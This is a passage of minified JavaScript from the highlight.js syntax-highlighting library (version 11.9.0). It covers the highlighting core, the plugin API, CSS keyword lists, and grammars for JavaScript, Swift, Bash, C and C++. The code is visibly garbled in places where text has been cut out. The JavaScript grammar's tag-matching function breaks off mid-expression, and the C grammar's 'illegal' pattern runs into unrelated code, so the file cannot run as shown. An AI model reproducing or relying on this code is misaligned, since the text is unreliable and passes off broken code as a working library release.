e=x.matcher.exec(t);if(!e)break;const n=N(t.substring(T,e.index),e) -;T=e.index+n}N(t.substring(T))}return S.finalize(),k=S.toHTML(),{language:e, -value:k,relevance:C,illegal:!1,_emitter:S,_top:x}}catch(n){ -if(n.message&&n.message.includes("Illegal"))return{language:e,value:J(t), -illegal:!0,relevance:0,_illegalBy:{message:n.message,index:T, -context:t.slice(T-100,T+100),mode:n.mode,resultSoFar:k},_emitter:S};if(s)return{ -language:e,value:J(t),illegal:!1,relevance:0,errorRaised:n,_emitter:S,_top:x} -;throw n}}function E(e,n){n=n||p.languages||Object.keys(a);const t=(e=>{ -const n={value:J(e),illegal:!1,relevance:0,_top:c,_emitter:new p.__emitter(p)} -;return n._emitter.addText(e),n})(e),i=n.filter(v).filter(k).map((n=>f(n,e,!1))) -;i.unshift(t);const r=i.sort(((e,n)=>{ -if(e.relevance!==n.relevance)return n.relevance-e.relevance -;if(e.language&&n.language){if(v(e.language).supersetOf===n.language)return 1 -;if(v(n.language).supersetOf===e.language)return-1}return 0})),[s,o]=r,l=s -;return l.secondBest=o,l}function y(e){let n=null;const t=(e=>{ -let n=e.className+" ";n+=e.parentNode?e.parentNode.className:"" -;const t=p.languageDetectRe.exec(n);if(t){const n=v(t[1]) -;return n||(H(o.replace("{}",t[1])), -H("Falling back to no-highlight mode for this block.",e)),n?t[1]:"no-highlight"} -return n.split(/\s+/).find((e=>_(e)||v(e)))})(e);if(_(t))return -;if(x("before:highlightElement",{el:e,language:t -}),e.dataset.highlighted)return void console.log("Element previously highlighted. To highlight again, first unset `dataset.highlighted`.",e) -;if(e.children.length>0&&(p.ignoreUnescapedHTML||(console.warn("One of your code blocks includes unescaped HTML. This is a potentially serious security risk."), -console.warn("https://github.com/highlightjs/highlight.js/wiki/security"), -console.warn("The element with unescaped HTML:"), -console.warn(e)),p.throwUnescapedHTML))throw new V("One of your code blocks includes unescaped HTML.",e.innerHTML) -;n=e;const a=n.textContent,r=t?h(a,{language:t,ignoreIllegals:!0}):E(a) -;e.innerHTML=r.value,e.dataset.highlighted="yes",((e,n,t)=>{const a=n&&i[n]||t -;e.classList.add("hljs"),e.classList.add("language-"+a) -})(e,t,r.language),e.result={language:r.language,re:r.relevance, -relevance:r.relevance},r.secondBest&&(e.secondBest={ -language:r.secondBest.language,relevance:r.secondBest.relevance -}),x("after:highlightElement",{el:e,result:r,text:a})}let N=!1;function w(){ -"loading"!==document.readyState?document.querySelectorAll(p.cssSelector).forEach(y):N=!0 -}function v(e){return e=(e||"").toLowerCase(),a[e]||a[i[e]]} -function O(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach((e=>{ -i[e.toLowerCase()]=n}))}function k(e){const n=v(e) -;return n&&!n.disableAutodetect}function x(e,n){const t=e;r.forEach((e=>{ -e[t]&&e[t](n)}))} -"undefined"!=typeof window&&window.addEventListener&&window.addEventListener("DOMContentLoaded",(()=>{ -N&&w()}),!1),Object.assign(t,{highlight:h,highlightAuto:E,highlightAll:w, -highlightElement:y, -highlightBlock:e=>(q("10.7.0","highlightBlock will be removed entirely in v12.0"), -q("10.7.0","Please use highlightElement now."),y(e)),configure:e=>{p=Y(p,e)}, -initHighlighting:()=>{ -w(),q("10.6.0","initHighlighting() deprecated. Use highlightAll() now.")}, -initHighlightingOnLoad:()=>{ -w(),q("10.6.0","initHighlightingOnLoad() deprecated. Use highlightAll() now.") -},registerLanguage:(e,n)=>{let i=null;try{i=n(t)}catch(n){ -if(K("Language definition for '{}' could not be registered.".replace("{}",e)), -!s)throw n;K(n),i=c} -i.name||(i.name=e),a[e]=i,i.rawDefinition=n.bind(null,t),i.aliases&&O(i.aliases,{ -languageName:e})},unregisterLanguage:e=>{delete a[e] -;for(const n of Object.keys(i))i[n]===e&&delete i[n]}, -listLanguages:()=>Object.keys(a),getLanguage:v,registerAliases:O, -autoDetection:k,inherit:Y,addPlugin:e=>{(e=>{ -e["before:highlightBlock"]&&!e["before:highlightElement"]&&(e["before:highlightElement"]=n=>{ -e["before:highlightBlock"](Object.assign({block:n.el},n)) -}),e["after:highlightBlock"]&&!e["after:highlightElement"]&&(e["after:highlightElement"]=n=>{ -e["after:highlightBlock"](Object.assign({block:n.el},n))})})(e),r.push(e)}, -removePlugin:e=>{const n=r.indexOf(e);-1!==n&&r.splice(n,1)}}),t.debugMode=()=>{ -s=!1},t.safeMode=()=>{s=!0},t.versionString="11.9.0",t.regex={concat:b, -lookahead:d,either:m,optional:u,anyNumberOfTimes:g} -;for(const n in C)"object"==typeof C[n]&&e(C[n]);return Object.assign(t,C),t -},te=ne({});te.newInstance=()=>ne({});var ae=te;const ie=e=>({IMPORTANT:{ -scope:"meta",begin:"!important"},BLOCK_COMMENT:e.C_BLOCK_COMMENT_MODE,HEXCOLOR:{ -scope:"number",begin:/#(([0-9a-fA-F]{3,4})|(([0-9a-fA-F]{2}){3,4}))\b/}, -FUNCTION_DISPATCH:{className:"built_in",begin:/[\w-]+(?=\()/}, -ATTRIBUTE_SELECTOR_MODE:{scope:"selector-attr",begin:/\[/,end:/\]/,illegal:"$", -contains:[e.APOS_STRING_MODE,e.QUOTE_STRING_MODE]},CSS_NUMBER_MODE:{ -scope:"number", -begin:e.NUMBER_RE+"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?", -relevance:0},CSS_VARIABLE:{className:"attr",begin:/--[A-Za-z_][A-Za-z0-9_-]*/} -}),re=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code","dd","del","details","dfn","div","dl","dt","em","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","html","i","iframe","img","input","ins","kbd","label","legend","li","main","mark","menu","nav","object","ol","p","q","quote","samp","section","span","strong","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","ul","var","video"],se=["any-hover","any-pointer","aspect-ratio","color","color-gamut","color-index","device-aspect-ratio","device-height","device-width","display-mode","forced-colors","grid","height","hover","inverted-colors","monochrome","orientation","overflow-block","overflow-inline","pointer","prefers-color-scheme","prefers-contrast","prefers-reduced-motion","prefers-reduced-transparency","resolution","scan","scripting","update","width","min-width","max-width","min-height","max-height"],oe=["active","any-link","blank","checked","current","default","defined","dir","disabled","drop","empty","enabled","first","first-child","first-of-type","fullscreen","future","focus","focus-visible","focus-within","has","host","host-context","hover","indeterminate","in-range","invalid","is","lang","last-child","last-of-type","left","link","local-link","not","nth-child","nth-col","nth-last-child","nth-last-col","nth-last-of-type","nth-of-type","only-child","only-of-type","optional","out-of-range","past","placeholder-shown","read-only","read-write","required","right","root","scope","target","target-within","user-invalid","valid","visited","where"],le=["after","backdrop","before","cue","cue-region","first-letter","first-line","grammar-error","marker","part","placeholder","selection","slotted","spelling-error"],ce=["align-content","align-items","align-self","all","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","backface-visibility","background","background-attachment","background-blend-mode","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","block-size","border","border-block","border-block-color","border-block-end","border-block-end-color","border-block-end-style","border-block-end-width","border-block-start","border-block-start-color","border-block-start-style","border-block-start-width","border-block-style","border-block-width","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-inline","border-inline-color","border-inline-end","border-inline-end-color","border-inline-end-style","border-inline-end-width","border-inline-start","border-inline-start-color","border-inline-start-style","border-inline-start-width","border-inline-style","border-inline-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","caret-color","clear","clip","clip-path","clip-rule","color","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","contain","content","content-visibility","counter-increment","counter-reset","cue","cue-after","cue-before","cursor","direction","display","empty-cells","filter","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","flow","font","font-display","font-family","font-feature-settings","font-kerning","font-language-override","font-size","font-size-adjust","font-smoothing","font-stretch","font-style","font-synthesis","font-variant","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-variation-settings","font-weight","gap","glyph-orientation-vertical","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-gap","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","ime-mode","inline-size","isolation","justify-content","left","letter-spacing","line-break","line-height","list-style","list-style-image","list-style-position","list-style-type","margin","margin-block","margin-block-end","margin-block-start","margin-bottom","margin-inline","margin-inline-end","margin-inline-start","margin-left","margin-right","margin-top","marks","mask","mask-border","mask-border-mode","mask-border-outset","mask-border-repeat","mask-border-slice","mask-border-source","mask-border-width","mask-clip","mask-composite","mask-image","mask-mode","mask-origin","mask-position","mask-repeat","mask-size","mask-type","max-block-size","max-height","max-inline-size","max-width","min-block-size","min-height","min-inline-size","min-width","mix-blend-mode","nav-down","nav-index","nav-left","nav-right","nav-up","none","normal","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-wrap","overflow-x","overflow-y","padding","padding-block","padding-block-end","padding-block-start","padding-bottom","padding-inline","padding-inline-end","padding-inline-start","padding-left","padding-right","padding-top","page-break-after","page-break-before","page-break-inside","pause","pause-after","pause-before","perspective","perspective-origin","pointer-events","position","quotes","resize","rest","rest-after","rest-before","right","row-gap","scroll-margin","scroll-margin-block","scroll-margin-block-end","scroll-margin-block-start","scroll-margin-bottom","scroll-margin-inline","scroll-margin-inline-end","scroll-margin-inline-start","scroll-margin-left","scroll-margin-right","scroll-margin-top","scroll-padding","scroll-padding-block","scroll-padding-block-end","scroll-padding-block-start","scroll-padding-bottom","scroll-padding-inline","scroll-padding-inline-end","scroll-padding-inline-start","scroll-padding-left","scroll-padding-right","scroll-padding-top","scroll-snap-align","scroll-snap-stop","scroll-snap-type","scrollbar-color","scrollbar-gutter","scrollbar-width","shape-image-threshold","shape-margin","shape-outside","speak","speak-as","src","tab-size","table-layout","text-align","text-align-all","text-align-last","text-combine-upright","text-decoration","text-decoration-color","text-decoration-line","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-indent","text-justify","text-orientation","text-overflow","text-rendering","text-shadow","text-transform","text-underline-position","top","transform","transform-box","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","writing-mode","z-index"].reverse(),de=oe.concat(le) -;var ge="[0-9](_*[0-9])*",ue=`\\.(${ge})`,be="[0-9a-fA-F](_*[0-9a-fA-F])*",me={ -className:"number",variants:[{ -begin:`(\\b(${ge})((${ue})|\\.)?|(${ue}))[eE][+-]?(${ge})[fFdD]?\\b`},{ -begin:`\\b(${ge})((${ue})[fFdD]?\\b|\\.([fFdD]\\b)?)`},{ -begin:`(${ue})[fFdD]?\\b`},{begin:`\\b(${ge})[fFdD]\\b`},{ -begin:`\\b0[xX]((${be})\\.?|(${be})?\\.(${be}))[pP][+-]?(${ge})[fFdD]?\\b`},{ -begin:"\\b(0|[1-9](_*[0-9])*)[lL]?\\b"},{begin:`\\b0[xX](${be})[lL]?\\b`},{ -begin:"\\b0(_*[0-7])*[lL]?\\b"},{begin:"\\b0[bB][01](_*[01])*[lL]?\\b"}], -relevance:0};function pe(e,n,t){return-1===t?"":e.replace(n,(a=>pe(e,n,t-1)))} -const _e="[A-Za-z$_][0-9A-Za-z$_]*",he=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],fe=["true","false","null","undefined","NaN","Infinity"],Ee=["Object","Function","Boolean","Symbol","Math","Date","Number","BigInt","String","RegExp","Array","Float32Array","Float64Array","Int8Array","Uint8Array","Uint8ClampedArray","Int16Array","Int32Array","Uint16Array","Uint32Array","BigInt64Array","BigUint64Array","Set","Map","WeakSet","WeakMap","ArrayBuffer","SharedArrayBuffer","Atomics","DataView","JSON","Promise","Generator","GeneratorFunction","AsyncFunction","Reflect","Proxy","Intl","WebAssembly"],ye=["Error","EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"],Ne=["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],we=["arguments","this","super","console","window","document","localStorage","sessionStorage","module","global"],ve=[].concat(Ne,Ee,ye) -;function Oe(e){const n=e.regex,t=_e,a={begin:/<[A-Za-z0-9\\._:-]+/, -end:/\/[A-Za-z0-9\\._:-]+>|\/>/,isTrulyOpeningTag:(e,n)=>{ -const t=e[0].length+e.index,a=e.input[t] -;if("<"===a||","===a)return void n.ignoreMatch();let i -;">"===a&&(((e,{after:n})=>{const t="",M={ -match:[/const|var|let/,/\s+/,t,/\s*/,/=\s*/,/(async\s*)?/,n.lookahead(x)], -keywords:"async",className:{1:"keyword",3:"title.function"},contains:[f]} -;return{name:"JavaScript",aliases:["js","jsx","mjs","cjs"],keywords:i,exports:{ -PARAMS_CONTAINS:h,CLASS_REFERENCE:y},illegal:/#(?![$_A-z])/, -contains:[e.SHEBANG({label:"shebang",binary:"node",relevance:5}),{ -label:"use_strict",className:"meta",relevance:10, -begin:/^\s*['"]use (strict|asm)['"]/ -},e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,d,g,u,b,m,{match:/\$\d+/},l,y,{ -className:"attr",begin:t+n.lookahead(":"),relevance:0},M,{ -begin:"("+e.RE_STARTERS_RE+"|\\b(case|return|throw)\\b)\\s*", -keywords:"return throw case",relevance:0,contains:[m,e.REGEXP_MODE,{ -className:"function",begin:x,returnBegin:!0,end:"\\s*=>",contains:[{ -className:"params",variants:[{begin:e.UNDERSCORE_IDENT_RE,relevance:0},{ -className:null,begin:/\(\s*\)/,skip:!0},{begin:/\(/,end:/\)/,excludeBegin:!0, -excludeEnd:!0,keywords:i,contains:h}]}]},{begin:/,/,relevance:0},{match:/\s+/, -relevance:0},{variants:[{begin:"<>",end:""},{ -match:/<[A-Za-z0-9\\._:-]+\s*\/>/},{begin:a.begin, -"on:begin":a.isTrulyOpeningTag,end:a.end}],subLanguage:"xml",contains:[{ -begin:a.begin,end:a.end,skip:!0,contains:["self"]}]}]},N,{ -beginKeywords:"while if switch catch for"},{ -begin:"\\b(?!function)"+e.UNDERSCORE_IDENT_RE+"\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{", -returnBegin:!0,label:"func.def",contains:[f,e.inherit(e.TITLE_MODE,{begin:t, -className:"title.function"})]},{match:/\.\.\./,relevance:0},O,{match:"\\$"+t, -relevance:0},{match:[/\bconstructor(?=\s*\()/],className:{1:"title.function"}, -contains:[f]},w,{relevance:0,match:/\b[A-Z][A-Z_0-9]+\b/, -className:"variable.constant"},E,k,{match:/\$[(.]/}]}} -const ke=e=>b(/\b/,e,/\w$/.test(e)?/\b/:/\B/),xe=["Protocol","Type"].map(ke),Me=["init","self"].map(ke),Se=["Any","Self"],Ae=["actor","any","associatedtype","async","await",/as\?/,/as!/,"as","borrowing","break","case","catch","class","consume","consuming","continue","convenience","copy","default","defer","deinit","didSet","distributed","do","dynamic","each","else","enum","extension","fallthrough",/fileprivate\(set\)/,"fileprivate","final","for","func","get","guard","if","import","indirect","infix",/init\?/,/init!/,"inout",/internal\(set\)/,"internal","in","is","isolated","nonisolated","lazy","let","macro","mutating","nonmutating",/open\(set\)/,"open","operator","optional","override","postfix","precedencegroup","prefix",/private\(set\)/,"private","protocol",/public\(set\)/,"public","repeat","required","rethrows","return","set","some","static","struct","subscript","super","switch","throws","throw",/try\?/,/try!/,"try","typealias",/unowned\(safe\)/,/unowned\(unsafe\)/,"unowned","var","weak","where","while","willSet"],Ce=["false","nil","true"],Te=["assignment","associativity","higherThan","left","lowerThan","none","right"],Re=["#colorLiteral","#column","#dsohandle","#else","#elseif","#endif","#error","#file","#fileID","#fileLiteral","#filePath","#function","#if","#imageLiteral","#keyPath","#line","#selector","#sourceLocation","#warning"],De=["abs","all","any","assert","assertionFailure","debugPrint","dump","fatalError","getVaList","isKnownUniquelyReferenced","max","min","numericCast","pointwiseMax","pointwiseMin","precondition","preconditionFailure","print","readLine","repeatElement","sequence","stride","swap","swift_unboxFromSwiftValueWithType","transcode","type","unsafeBitCast","unsafeDowncast","withExtendedLifetime","withUnsafeMutablePointer","withUnsafePointer","withVaList","withoutActuallyEscaping","zip"],Ie=m(/[/=\-+!*%<>&|^~?]/,/[\u00A1-\u00A7]/,/[\u00A9\u00AB]/,/[\u00AC\u00AE]/,/[\u00B0\u00B1]/,/[\u00B6\u00BB\u00BF\u00D7\u00F7]/,/[\u2016-\u2017]/,/[\u2020-\u2027]/,/[\u2030-\u203E]/,/[\u2041-\u2053]/,/[\u2055-\u205E]/,/[\u2190-\u23FF]/,/[\u2500-\u2775]/,/[\u2794-\u2BFF]/,/[\u2E00-\u2E7F]/,/[\u3001-\u3003]/,/[\u3008-\u3020]/,/[\u3030]/),Le=m(Ie,/[\u0300-\u036F]/,/[\u1DC0-\u1DFF]/,/[\u20D0-\u20FF]/,/[\uFE00-\uFE0F]/,/[\uFE20-\uFE2F]/),Be=b(Ie,Le,"*"),$e=m(/[a-zA-Z_]/,/[\u00A8\u00AA\u00AD\u00AF\u00B2-\u00B5\u00B7-\u00BA]/,/[\u00BC-\u00BE\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u00FF]/,/[\u0100-\u02FF\u0370-\u167F\u1681-\u180D\u180F-\u1DBF]/,/[\u1E00-\u1FFF]/,/[\u200B-\u200D\u202A-\u202E\u203F-\u2040\u2054\u2060-\u206F]/,/[\u2070-\u20CF\u2100-\u218F\u2460-\u24FF\u2776-\u2793]/,/[\u2C00-\u2DFF\u2E80-\u2FFF]/,/[\u3004-\u3007\u3021-\u302F\u3031-\u303F\u3040-\uD7FF]/,/[\uF900-\uFD3D\uFD40-\uFDCF\uFDF0-\uFE1F\uFE30-\uFE44]/,/[\uFE47-\uFEFE\uFF00-\uFFFD]/),ze=m($e,/\d/,/[\u0300-\u036F\u1DC0-\u1DFF\u20D0-\u20FF\uFE20-\uFE2F]/),Fe=b($e,ze,"*"),Ue=b(/[A-Z]/,ze,"*"),je=["attached","autoclosure",b(/convention\(/,m("swift","block","c"),/\)/),"discardableResult","dynamicCallable","dynamicMemberLookup","escaping","freestanding","frozen","GKInspectable","IBAction","IBDesignable","IBInspectable","IBOutlet","IBSegueAction","inlinable","main","nonobjc","NSApplicationMain","NSCopying","NSManaged",b(/objc\(/,Fe,/\)/),"objc","objcMembers","propertyWrapper","requires_stored_property_inits","resultBuilder","Sendable","testable","UIApplicationMain","unchecked","unknown","usableFromInline","warn_unqualified_access"],Pe=["iOS","iOSApplicationExtension","macOS","macOSApplicationExtension","macCatalyst","macCatalystApplicationExtension","watchOS","watchOSApplicationExtension","tvOS","tvOSApplicationExtension","swift"] -;var Ke=Object.freeze({__proto__:null,grmr_bash:e=>{const n=e.regex,t={},a={ -begin:/\$\{/,end:/\}/,contains:["self",{begin:/:-/,contains:[t]}]} -;Object.assign(t,{className:"variable",variants:[{ -begin:n.concat(/\$[\w\d#@][\w\d_]*/,"(?![\\w\\d])(?![$])")},a]});const i={ -className:"subst",begin:/\$\(/,end:/\)/,contains:[e.BACKSLASH_ESCAPE]},r={ -begin:/<<-?\s*(?=\w+)/,starts:{contains:[e.END_SAME_AS_BEGIN({begin:/(\w+)/, -end:/(\w+)/,className:"string"})]}},s={className:"string",begin:/"/,end:/"/, -contains:[e.BACKSLASH_ESCAPE,t,i]};i.contains.push(s);const o={begin:/\$?\(\(/, -end:/\)\)/,contains:[{begin:/\d+#[0-9a-f]+/,className:"number"},e.NUMBER_MODE,t] -},l=e.SHEBANG({binary:"(fish|bash|zsh|sh|csh|ksh|tcsh|dash|scsh)",relevance:10 -}),c={className:"function",begin:/\w[\w\d_]*\s*\(\s*\)\s*\{/,returnBegin:!0, -contains:[e.inherit(e.TITLE_MODE,{begin:/\w[\w\d_]*/})],relevance:0};return{ -name:"Bash",aliases:["sh"],keywords:{$pattern:/\b[a-z][a-z0-9._-]+\b/, -keyword:["if","then","else","elif","fi","for","while","until","in","do","done","case","esac","function","select"], -literal:["true","false"], -built_in:["break","cd","continue","eval","exec","exit","export","getopts","hash","pwd","readonly","return","shift","test","times","trap","umask","unset","alias","bind","builtin","caller","command","declare","echo","enable","help","let","local","logout","mapfile","printf","read","readarray","source","type","typeset","ulimit","unalias","set","shopt","autoload","bg","bindkey","bye","cap","chdir","clone","comparguments","compcall","compctl","compdescribe","compfiles","compgroups","compquote","comptags","comptry","compvalues","dirs","disable","disown","echotc","echoti","emulate","fc","fg","float","functions","getcap","getln","history","integer","jobs","kill","limit","log","noglob","popd","print","pushd","pushln","rehash","sched","setcap","setopt","stat","suspend","ttyctl","unfunction","unhash","unlimit","unsetopt","vared","wait","whence","where","which","zcompile","zformat","zftp","zle","zmodload","zparseopts","zprof","zpty","zregexparse","zsocket","zstyle","ztcp","chcon","chgrp","chown","chmod","cp","dd","df","dir","dircolors","ln","ls","mkdir","mkfifo","mknod","mktemp","mv","realpath","rm","rmdir","shred","sync","touch","truncate","vdir","b2sum","base32","base64","cat","cksum","comm","csplit","cut","expand","fmt","fold","head","join","md5sum","nl","numfmt","od","paste","ptx","pr","sha1sum","sha224sum","sha256sum","sha384sum","sha512sum","shuf","sort","split","sum","tac","tail","tr","tsort","unexpand","uniq","wc","arch","basename","chroot","date","dirname","du","echo","env","expr","factor","groups","hostid","id","link","logname","nice","nohup","nproc","pathchk","pinky","printenv","printf","pwd","readlink","runcon","seq","sleep","stat","stdbuf","stty","tee","test","timeout","tty","uname","unlink","uptime","users","who","whoami","yes"] -},contains:[l,e.SHEBANG(),c,o,e.HASH_COMMENT_MODE,r,{match:/(\/[a-z._-]+)+/},s,{ -match:/\\"/},{className:"string",begin:/'/,end:/'/},{match:/\\'/},t]}}, -grmr_c:e=>{const n=e.regex,t=e.COMMENT("//","$",{contains:[{begin:/\\\n/}] -}),a="decltype\\(auto\\)",i="[a-zA-Z_]\\w*::",r="("+a+"|"+n.optional(i)+"[a-zA-Z_]\\w*"+n.optional("<[^<>]+>")+")",s={ -className:"type",variants:[{begin:"\\b[a-z\\d_]*_t\\b"},{ -match:/\batomic_[a-z]{3,6}\b/}]},o={className:"string",variants:[{ -begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{ -begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)", -end:"'",illegal:"."},e.END_SAME_AS_BEGIN({ -begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},l={ -className:"number",variants:[{begin:"\\b(0b[01']+)"},{ -begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)((ll|LL|l|L)(u|U)?|(u|U)(ll|LL|l|L)?|f|F|b|B)" -},{ -begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)" -}],relevance:0},c={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{ -keyword:"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include" -},contains:[{begin:/\\\n/,relevance:0},e.inherit(o,{className:"string"}),{ -className:"string",begin:/<.*?>/},t,e.C_BLOCK_COMMENT_MODE]},d={ -className:"title",begin:n.optional(i)+e.IDENT_RE,relevance:0 -},g=n.optional(i)+e.IDENT_RE+"\\s*\\(",u={ -keyword:["asm","auto","break","case","continue","default","do","else","enum","extern","for","fortran","goto","if","inline","register","restrict","return","sizeof","struct","switch","typedef","union","volatile","while","_Alignas","_Alignof","_Atomic","_Generic","_Noreturn","_Static_assert","_Thread_local","alignas","alignof","noreturn","static_assert","thread_local","_Pragma"], -type:["float","double","signed","unsigned","int","short","long","char","void","_Bool","_Complex","_Imaginary","_Decimal32","_Decimal64","_Decimal128","const","static","complex","bool","imaginary"], -literal:"true false NULL", -built_in:"std string wstring cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set pair bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap priority_queue make_pair array shared_ptr abort terminate abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf future isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr" -},b=[c,s,t,e.C_BLOCK_COMMENT_MODE,l,o],m={variants:[{begin:/=/,end:/;/},{ -begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}], -keywords:u,contains:b.concat([{begin:/\(/,end:/\)/,keywords:u, -contains:b.concat(["self"]),relevance:0}]),relevance:0},p={ -begin:"("+r+"[\\*&\\s]+)+"+g,returnBegin:!0,end:/[{;=]/,excludeEnd:!0, -keywords:u,illegal:/[^\w\s\*&:<>.]/,contains:[{begin:a,keywords:u,relevance:0},{ -begin:g,returnBegin:!0,contains:[e.inherit(d,{className:"title.function"})], -relevance:0},{relevance:0,match:/,/},{className:"params",begin:/\(/,end:/\)/, -keywords:u,relevance:0,contains:[t,e.C_BLOCK_COMMENT_MODE,o,l,s,{begin:/\(/, -end:/\)/,keywords:u,relevance:0,contains:["self",t,e.C_BLOCK_COMMENT_MODE,o,l,s] -}]},s,t,e.C_BLOCK_COMMENT_MODE,c]};return{name:"C",aliases:["h"],keywords:u, -disableAutodetect:!0,illegal:"=]/,contains:[{ -beginKeywords:"final class struct"},e.TITLE_MODE]}]),exports:{preprocessor:c, -strings:o,keywords:u}}},grmr_cpp:e=>{const n=e.regex,t=e.COMMENT("//","$",{ -contains:[{begin:/\\\n/}] -}),a="decltype\\(auto\\)",i="[a-zA-Z_]\\w*::",r="(?!struct)("+a+"|"+n.optional(i)+"[a-zA-Z_]\\w*"+n.optional("<[^<>]+>")+")",s={ -className:"type",begin:"\\b[a-z\\d_]*_t\\b"},o={className:"string",variants:[{ -begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{ -begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)", -end:"'",illegal:"."},e.END_SAME_AS_BEGIN({ -begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},l={ -className:"number",variants:[{begin:"\\b(0b[01']+)"},{ -begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)((ll|LL|l|L)(u|U)?|(u|U)(ll|LL|l|L)?|f|F|b|B)" -},{ -begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)" -}],relevance:0},c={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{ -keyword:"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include" -},contains:[{begin:/\\\n/,relevance:0},e.inherit(o,{className:"string"}),{ -className:"string",begin:/<.*?>/},t,e.C_BLOCK_COMMENT_MODE]},d={ -className:"title",begin:n.optional(i)+e.IDENT_RE,relevance:0 -},g=n.optional(i)+e.IDENT_RE+"\\s*\\(",u={ -type:["bool","char","char16_t","char32_t","char8_t","double","float","int","long","short","void","wchar_t","unsigned","signed","const","static"], -keyword:["alignas","alignof","and","and_eq","asm","atomic_cancel","atomic_commit","atomic_noexcept","auto","bitand","bitor","break","case","catch","class","co_await","co_return","co_yield","compl","concept","const_cast|10","consteval","constexpr","constinit","continue","decltype","default","delete","do","dynamic_cast|10","else","enum","explicit","export","extern","false","final","for","friend","goto","if","import","inline","module","mutable","namespace","new","noexcept","not","not_eq","nullptr","operator","or","or_eq","override","private","protected","public","reflexpr","register","reinterpret_cast|10","requires","return","sizeof","static_assert","static_cast|10","struct","switch","synchronized","template","this","thread_local","throw","transaction_safe","transaction_safe_dynamic","true","try","typedef","typeid","typename","union","using","virtual","volatile","while","xor","xor_eq"], -literal:["NULL","false","nullopt","nullptr","true"],built_in:["_Pragma"], 